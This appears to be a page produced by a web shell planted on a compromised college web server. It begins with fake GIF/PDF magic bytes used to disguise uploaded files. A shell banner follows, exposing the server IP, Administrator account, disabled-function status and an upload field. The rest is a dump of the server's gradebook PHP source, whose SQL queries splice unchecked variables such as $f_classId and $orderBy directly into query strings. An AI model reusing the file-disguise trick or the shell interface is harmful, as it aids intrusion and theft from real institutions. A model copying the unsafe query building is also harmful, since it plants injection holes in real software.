GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Gradebook/ |
Upload File : |
<? // Gradebook/evaluationStudentInfo.phpinc // Produce a list of userIds that have evaluations or grades for the classes. // NEEDS: // $f_classId = A list of classId's. // $evaluationIdList = A list of $evaluationId's. // RETURNS: // $studentIdClassRosterList = A list of studentId's for students in the class roster. // $userIdClassRosterList = A list of userId's for students in the class roster. // $userIdClassProfileList = A list of userId's for students who have entered a class profile for the classes. // $userIdGradeList = A list of userId's for students who have grades for the classes. // $userIdList = A merged list of the above. // $studentIdArray = An array of studentId's by userId. // $sInfo = An array that contains student info by studentId. // Contains: userId, name, email, image, login, credits, status, SP info, and CP info. // $studentIdNeverLoggedIn = An array of studentId's who have never logged in. // $variableCredits = true if all student credits are not the same, else false. if (da()) debugTrackBegin(); if (false) { $evaluationStudentInfoDEBUG = true; } else { $evaluationStudentInfoDEBUG = false; } #if ( $_SESSION['userId'] == '1' ) { d_On(); $evaluationStudentInfoDEBUG = true; } if ( $evaluationStudentInfoDEBUG ) { d_Var('$f_classId',$f_classId); d_Var('$evaluationIdList',$evaluationIdList); d_Var('$isGB',$isGB); } $studentIdClassRosterList = ''; // A list of studentId's for students in the class roster. $userIdClassRosterList = ''; // A list of userId's for students in the class roster. $studentIdArray = array(); // An array of studentId's by userId. $sInfo = array(); // An arrat that contains the userId, name, email, image, login, status, SP info, and CP info by studentId. $studentIdNeverLoggedIn = array(); // An array of studentId's who have never logged in. $variableCredits = false; $creditsFound = ''; if ($evaluationStudentInfoDEBUG) printVar('$f_classId',$f_classId); // Get a list of userIds from the class roster. d_Line('Get a list of userIds from the class roster.','/i'); $query = " SELECT DISTINCT classstudent.userStudentId, classstudent.userFirstName, classstudent.userMiddleName, classstudent.userLastName, classstudent.classstudentCredits, user.userId, user.userUsername, user.userEmail, user.userAccessTime, studentprofile.studentprofileImage, studentprofile.studentprofileSubmitted, studentprofile.studentprofileGraded, studentprofile.studentprofileGrade, studentprofile.studentprofileComment, studentprofile.studentprofileInternalComment FROM `classstudent` LEFT JOIN `class` ON class.classId = classstudent.classId LEFT JOIN `course` ON course.courseId = class.courseId LEFT JOIN `user` ON user.userStudentId = classstudent.userStudentId LEFT JOIN `studentprofile` ON studentprofile.userId = user.userId WHERE classstudent.classId IN (".$f_classId.") AND classstudent.classstudentInactive = 0"; if ( !$isGB ) { $query .= " AND classstudent.userStudentId = '".$_SESSION['userStudentId']."'"; } #d_Var('',$orderBy,'d'); if ( isset($orderBy) ) { $query .= " ORDER BY ".$orderBy." "; } #d_Var('classstudentResult',$query,'dq'); $classstudentResult = query_do($query); #d_Var('$classstudentResult',$classstudentResult,'d'); $classstudentCount = $_SESSION['qry']['count']; #printVar('$classstudentResult',$classstudentResult); if ( $classstudentCount ) { mysqli_data_seek($classstudentResult, 0); while ($classstudentRow = mysqli_fetch_assoc($classstudentResult)) { $studentId = $classstudentRow['userStudentId']; #d_Var($studentId.' $classstudentRow',$classstudentRow,'d'); d_Var('$studentId',$studentId); $studentIdClassRosterList = listAppend($studentIdClassRosterList,$studentId); d_Var("\$classstudentRow['userId']",$classstudentRow['userId']); if ( $classstudentRow['userId'] ) { $sInfo[$studentId]['name'] = userName($classstudentRow['userId'],false); $sInfo[$studentId]['shortname'] = str_replace(array("-","'"," "),"",userName($classstudentRow['userId'])); } else { $sInfo[$studentId]['name'] = trim(stripslashes(trim($classstudentRow['userFirstName'].' '.$classstudentRow['userMiddleName']).' '.$classstudentRow['userLastName'])); $sInfo[$studentId]['shortname'] = trim(str_replace(array("-","'"," "),"",stripslashes($classstudentRow['userFirstName'].' '.$classstudentRow['userLastName']))); } if ( $classstudentRow['userId'] ) { $userIdClassRosterList = listAppend($userIdClassRosterList,$classstudentRow['userId']); $studentIdArray[$classstudentRow['userId']] = $studentId; $sInfo[$studentId]['userId'] = $classstudentRow['userId']; $sInfo[$studentId]['userUsername'] = $classstudentRow['userUsername']; $sInfo[$studentId]['email'] = $classstudentRow['userEmail']; $sInfo[$studentId]['login'] = $classstudentRow['userAccessTime']; $sInfo[$studentId]['image'] = '/'.$_SESSION['UPLOAD_DIR'].'StudentProfile/'.$studentId.'/'.$classstudentRow['studentprofileImage']; $sInfo[$studentId][-2] = array(); $sInfo[$studentId][-2]['submitted'] = $classstudentRow['studentprofileSubmitted']; $sInfo[$studentId][-2]['graded'] = $classstudentRow['studentprofileGraded']; $sInfo[$studentId][-2]['grade'] = $classstudentRow['studentprofileGrade']; $sInfo[$studentId][-2]['comment'] = $classstudentRow['studentprofileComment']; $sInfo[$studentId][-2]['internal'] = $classstudentRow['studentprofileInternalComment']; } else { $studentIdNeverLoggedIn[] = $studentId; $sInfo[$studentId]['userId'] = 0; $sInfo[$studentId]['userUsername'] = ''; $sInfo[$studentId]['email'] = trim($classstudentRow['userFirstName'].' '.$classstudentRow['userLastName']); $sInfo[$studentId]['login'] = ''; $sInfo[$studentId]['image'] = ''; $sInfo[$studentId][-2] = array(); $sInfo[$studentId][-2]['submitted'] = 0; $sInfo[$studentId][-2]['graded'] = 0; $sInfo[$studentId][-2]['grade'] = ''; $sInfo[$studentId][-2]['comment'] = ''; $sInfo[$studentId][-2]['internal'] = ''; $sInfo[$studentId][-1] = array(); $sInfo[$studentId][-1]['submitted'] = 0; $sInfo[$studentId][-1]['graded'] = 0; $sInfo[$studentId][-1]['grade'] = ''; $sInfo[$studentId][-1]['comment'] = ''; $sInfo[$studentId][-1]['internal'] = ''; } $sInfo[$studentId]['credits'] = $classstudentRow['classstudentCredits']; if ( !$variableCredits ) { if ( $creditsFound == '' ) $creditsFound = $sInfo[$studentId]['credits']; if ( $sInfo[$studentId]['credits'] && $creditsFound != $sInfo[$studentId]['credits'] ) $variableCredits = true; } #d_Var("\$sInfo[$studentId]",$sInfo[$studentId],'d'); } } d_Var('$sInfo',$sInfo); // Get a list of userIds from CP entries. d_Line('Get a list of userIds from CP entries.','/i'); $query = " SELECT classprofile.userId, classprofile.classprofileSubmitted, classprofile.classprofileGraded, classprofile.classprofileGrade, classprofile.classprofileComment, classprofile.classprofileInternalComment, user.userStudentId FROM `classprofile` LEFT JOIN `user` ON user.userId = classprofile.userId WHERE classprofile.classId IN (".$f_classId.")"; if ( !$isGB ) { $query .= " AND classprofile.userId = '".$_SESSION['userId']."'"; } $query .= " ORDER BY classprofile.lastModified "; d_Var('classprofileResult',$query,'q'); $classprofileResult = query_do($query); $classprofileResultCount = $_SESSION['qry']['count']; d_Var('$classprofileResult',$classprofileResult); $userIdClassProfileList = ''; if ($classprofileResultCount) { #$userIdClassProfileList = query_to_list($classprofileResult); mysqli_data_seek($classprofileResult, 0); while ($classprofileRow = mysqli_fetch_assoc($classprofileResult)) { $studentId = $classprofileRow['userStudentId']; d_Var('$studentId',$studentId); if ( $studentId ) { $userIdClassProfileList = listAppend($userIdClassProfileList,$classprofileRow['userId']); $sInfo[$studentId][-1] = array(); $sInfo[$studentId][-1]['submitted'] = $classprofileRow['classprofileSubmitted']; $sInfo[$studentId][-1]['graded'] = $classprofileRow['classprofileGraded']; $sInfo[$studentId][-1]['grade'] = $classprofileRow['classprofileGrade']; $sInfo[$studentId][-1]['comment'] = $classprofileRow['classprofileComment']; $sInfo[$studentId][-1]['internal'] = $classprofileRow['classprofileInternalComment']; if ( !isset($studentIdArray[$classprofileRow['userId']]) ) { $query = " SELECT user.userId, user.userUsername, user.userStudentId, user.userFirstName, user.userMiddleName, user.userLastName, user.userNickname, user.userEmail, user.userAccessTime, studentprofile.studentprofileImage, studentprofile.studentprofileSubmitted, studentprofile.studentprofileGraded, studentprofile.studentprofileGrade, studentprofile.studentprofileComment, studentprofile.studentprofileInternalComment FROM `user` LEFT JOIN `studentprofile` ON studentprofile.userId = user.userId WHERE user.userId = ".$classprofileRow['userId']." "; if ( !$isGB ) { $query .= " AND studentprofile.userId = '".$_SESSION['userId']."' "; } $query .= " ORDER BY user.userLastName, user.userFirstName, user.userMiddleName, studentprofile.lastModified "; d_Var('userResult',$query,'q'); $userResult = query_do($query); $userResultCount = $_SESSION['qry']['count']; d_Var('$userResult',$userResult); if ( $userResultCount ) { mysqli_data_seek($userResult, 0); $userRow = mysqli_fetch_assoc($userResult); $studentId = $userRow['userStudentId']; d_Var('$studentId',$studentId); if ( $studentId ) { d_Var("\$userRow['userId']",$userRow['userId']); $sInfo[$studentId]['name'] = userName($userRow['userId'],false); $studentIdArray[$userRow['userId']] = $studentId; $sInfo[$studentId]['userId'] = $userRow['userId']; $sInfo[$studentId]['userUsername'] = $userRow['userUsername']; $sInfo[$studentId]['email'] = $userRow['userEmail']; $sInfo[$studentId]['login'] = $userRow['userAccessTime']; $sInfo[$studentId]['image'] = '/'.$_SESSION['UPLOAD_DIR'].'StudentProfile/'.$studentId.'/'.$userRow['studentprofileImage']; $sInfo[$studentId][-2]['submitted'] = $userRow['studentprofileSubmitted']; $sInfo[$studentId][-2]['graded'] = $userRow['studentprofileGraded']; $sInfo[$studentId][-2]['grade'] = $userRow['studentprofileGrade']; $sInfo[$studentId][-2]['comment'] = $userRow['studentprofileComment']; $sInfo[$studentId][-2]['internal'] = $userRow['studentprofileInternalComment']; } else { d_Line('userStudentId unset.','e'); d_Var('$userRow',$userRow); } #d_Var("\$sInfo[$studentId]",$sInfo[$studentId],'d'); } } } else { d_Line('userStudentId unset.','e'); d_Var('$classprofileRow',$classprofileRow); } } } #d_Var('$sInfo',$sInfo,'d'); // Get a list of userIds from the gradebook. d_Line('Get a list of userIds from the gradebook.','/i'); $query = " SELECT DISTINCT grade.userId, user.userStudentId FROM `grade` LEFT JOIN `user` ON user.userId = grade.userId WHERE grade.evaluationId IN (".$evaluationIdList.")"; if ( !$isGB ) { $query .= " AND grade.userId = '".$_SESSION['userId']."'"; } $query .= " "; d_Var('gradeResult',$query,'q'); $gradeResult = query_do($query); $gradeResultCount = $_SESSION['qry']['count']; d_Var('$gradeResult',$gradeResult); $userIdGradeList = ''; if ($gradeResultCount) { #$userIdGradeList = query_to_list($gradeResult); mysqli_data_seek($gradeResult, 0); while ($gradeRow = mysqli_fetch_assoc($gradeResult)) { $userIdGradeList = listAppend($userIdGradeList,$gradeRow['userId']); $studentId = $gradeRow['userStudentId']; d_Var('$studentId',$studentId); if ( $studentId ) { if ( !isset($studentIdArray[$gradeRow['userId']]) ) { $query = " SELECT user.userId, user.userUsername, user.userStudentId, user.userFirstName, user.userMiddleName, user.userLastName, user.userNickname, user.userEmail, user.userAccessTime, studentprofile.studentprofileImage, studentprofile.studentprofileSubmitted, studentprofile.studentprofileGraded, studentprofile.studentprofileGrade, studentprofile.studentprofileComment, studentprofile.studentprofileInternalComment FROM `user` LEFT JOIN `studentprofile` ON studentprofile.userId = user.userId WHERE user.userId = ".$gradeRow['userId']." ORDER BY user.userLastName, user.userFirstName, user.userMiddleName "; $userResult = query_do($query); $userResultCount = $_SESSION['qry']['count']; if ( $userResultCount ) { mysqli_data_seek($userResult, 0); $userRow = mysqli_fetch_assoc($userResult); d_Var("\$userRow['userId']",$userRow['userId']); $sInfo[$studentId]['name'] = userName($userRow['userId'],false); $studentIdArray[$userRow['userId']] = $studentId; $sInfo[$studentId]['userUsername'] = $userRow['userUsername']; $sInfo[$studentId]['userId'] = $userRow['userId']; $sInfo[$studentId]['email'] = $userRow['userEmail']; $sInfo[$studentId]['login'] = $userRow['userAccessTime']; if ( isset($classstudentRow['studentprofileImage']) ) { $sInfo[$studentId]['image'] = '/'.$_SESSION['UPLOAD_DIR'].'StudentProfile/'.$studentId.'/'.$classstudentRow['studentprofileImage']; } else { // This may be an instructor. $f_userId = $gradeRow['userId']; require('Course/studentInClass.phpinc'); if ( isset($f_ClassInstructor) && $f_ClassInstructor ) { // C:\Data_WWW\CstRidgewaterEdu\images #d_On(); d_Var('$_SESSION',$_SESSION); d_Off(); $sInfo[$studentId]['image'] = '/images/'.str_replace(' ','',$_SESSION['userFullName']).'100.jpg'; } else { $sInfo[$studentId]['image'] = ''; } } $sInfo[$studentId][-2]['submitted'] = $userRow['studentprofileSubmitted']; $sInfo[$studentId][-2]['graded'] = $userRow['studentprofileGraded']; $sInfo[$studentId][-2]['grade'] = $userRow['studentprofileGrade']; $sInfo[$studentId][-2]['comment'] = $userRow['studentprofileComment']; $sInfo[$studentId][-2]['internal'] = $userRow['studentprofileInternalComment']; } } } else { d_Line('userStudentId unset.','e'); d_Var('$gradeRow',$gradeRow); } } } if ( !isset($sInfo[$_SESSION['userStudentId']]) ) { // Get $sInfo for the Instructor. $query = " SELECT DISTINCT user.userUsername, user.userStudentId, user.userFirstName, user.userLastName, user.userId, user.userEmail, user.userAccessTime, studentprofile.studentprofileImage, studentprofile.studentprofileSubmitted, studentprofile.studentprofileGraded, studentprofile.studentprofileGrade, studentprofile.studentprofileComment, studentprofile.studentprofileInternalComment FROM `user` JOIN `course` ON course.userId = user.userId JOIN `class` ON class.courseId = course.courseId LEFT JOIN `studentprofile` ON studentprofile.userId = user.userId WHERE user.userId = ".$_SESSION['userId']; if ( !$isGB ) { $query .= " AND user.userStudentId = '".$_SESSION['userStudentId']."'"; } $query .= " ORDER BY user.userLastName, user.userFirstName, user.userMiddleName "; d_Var('instructorResult',$query,'q'); $instructorResult = query_do($query); $instructorResultCount = $_SESSION['qry']['count']; d_Var('$instructorResult',$instructorResult); if ( $instructorResultCount ) { mysqli_data_seek($instructorResult, 0); while ($instructorRow = mysqli_fetch_assoc($instructorResult)) { $studentId = $instructorRow['userStudentId']; d_Var('$studentId',$studentId); #$studentIdClassRosterList = listAppend($studentIdClassRosterList,$studentId); d_Var("\$instructorRow['userId']",$instructorRow['userId']); $sInfo[$studentId]['name'] = userName($instructorRow['userId'],false); if ( $instructorRow['userId'] ) { #$userIdClassRosterList = listAppend($userIdClassRosterList,$instructorRow['userId']); $studentIdArray[$instructorRow['userId']] = $studentId; $sInfo[$studentId]['userId'] = $instructorRow['userId']; $sInfo[$studentId]['userUsername'] = $instructorRow['userUsername']; $sInfo[$studentId]['email'] = $instructorRow['userEmail']; $sInfo[$studentId]['login'] = $instructorRow['userAccessTime']; $sInfo[$studentId]['image'] = '/'.$_SESSION['UPLOAD_DIR'].'StudentProfile/'.$studentId.'/'.$instructorRow['studentprofileImage']; $sInfo[$studentId][-2] = array(); $sInfo[$studentId][-2]['submitted'] = $instructorRow['studentprofileSubmitted']; $sInfo[$studentId][-2]['graded'] = $instructorRow['studentprofileGraded']; $sInfo[$studentId][-2]['grade'] = $instructorRow['studentprofileGrade']; $sInfo[$studentId][-2]['comment'] = $instructorRow['studentprofileComment']; $sInfo[$studentId][-2]['internal'] = $instructorRow['studentprofileInternalComment']; } else { $studentIdNeverLoggedIn[] = $studentId; $sInfo[$studentId]['userId'] = 0; $sInfo[$studentId]['userUsername'] = ''; $sInfo[$studentId]['email'] = trim($instructorRow['userFirstName'].' '.$instructorRow['userLastName']); $sInfo[$studentId]['login'] = ''; $sInfo[$studentId]['image'] = ''; $sInfo[$studentId][-2] = array(); $sInfo[$studentId][-2]['submitted'] = 0; $sInfo[$studentId][-2]['graded'] = 0; $sInfo[$studentId][-2]['grade'] = ''; $sInfo[$studentId][-2]['comment'] = ''; $sInfo[$studentId][-2]['internal'] = ''; $sInfo[$studentId][-1] = array(); $sInfo[$studentId][-1]['submitted'] = 0; $sInfo[$studentId][-1]['graded'] = 0; $sInfo[$studentId][-1]['grade'] = ''; $sInfo[$studentId][-1]['comment'] = ''; $sInfo[$studentId][-1]['internal'] = ''; } $sInfo[$studentId]['credits'] = 0; if ( !$variableCredits ) { if ( $creditsFound == '' ) $creditsFound = $sInfo[$studentId]['credits']; if ( $sInfo[$studentId]['credits'] && $creditsFound != $sInfo[$studentId]['credits'] ) $variableCredits = true; } } } d_Var('$sInfo',$sInfo); } d_Line("Fill the \$sInfo[\$studentId]['status'] array.",'/i'); // Fill the $sInfo[$studentId]['status'] array. foreach ( $sInfo as $studentId => $temp ) { d_Var('$studentId',$studentId); d_Var("\$sInfo[$studentId]",$sInfo[$studentId]); if ( listFind( $studentIdClassRosterList,$studentId) ) { if ( $sInfo[$studentId]['login'] ) { // User has logged in. if (date_difference($sInfo[$studentId]['login'], currentDateTime()) <= 14) { // User has logged in within the last two weeks. $sInfo[$studentId]['status'] = "Current"; } else { if (date_difference($sInfo[$studentId]['login'], currentDateTime()) <= 90) { // User has logged in within the last three months. $sInfo[$studentId]['status'] = "Recent"; } else { // User has not logged in within the last three months. $sInfo[$studentId]['status'] = "Older"; } } $sInfo[$studentId]['login'] = substr($sInfo[$studentId]['login'],0,10); } else { // User has never logged in. $sInfo[$studentId]['status'] = "Never"; $sInfo[$studentId]['login'] = 'n/a'; } } else { // User is not in the class. $sInfo[$studentId]['status'] = "NotInClass"; $sInfo[$studentId]['login'] = substr($sInfo[$studentId]['login'],0,10); } } // Create the userId list. $userIdList = listSort(listUnique($userIdClassRosterList.",".$userIdClassProfileList.",".$userIdGradeList)); if ( $evaluationStudentInfoDEBUG ) { printVar('listLen($userIdClassRosterList)',listLen($userIdClassRosterList)); printVar('$userIdClassRosterList',$userIdClassRosterList); printVar('listLen($userIdClassProfileList)',listLen($userIdClassProfileList)); printVar('$userIdClassProfileList',$userIdClassProfileList); printVar('listLen($userIdGradeList)',listLen($userIdGradeList)); printVar('$userIdGradeList',$userIdGradeList); printVar('listLen($userIdList)',listLen($userIdList)); printVar('$userIdList',$userIdList); printVar('count($studentIdArray)',count($studentIdArray)); printVar('$studentIdArray',$studentIdArray); printVar('count($studentIdNeverLoggedIn)',count($studentIdNeverLoggedIn)); printVar('$studentIdNeverLoggedIn',$studentIdNeverLoggedIn); printVar('count($sInfo)',count($sInfo)); printVar('$sInfo',$sInfo); } if ( $_SESSION['userId'] == '1' ) { d_Off(); } if (da()) debugTrackEnd(); ?>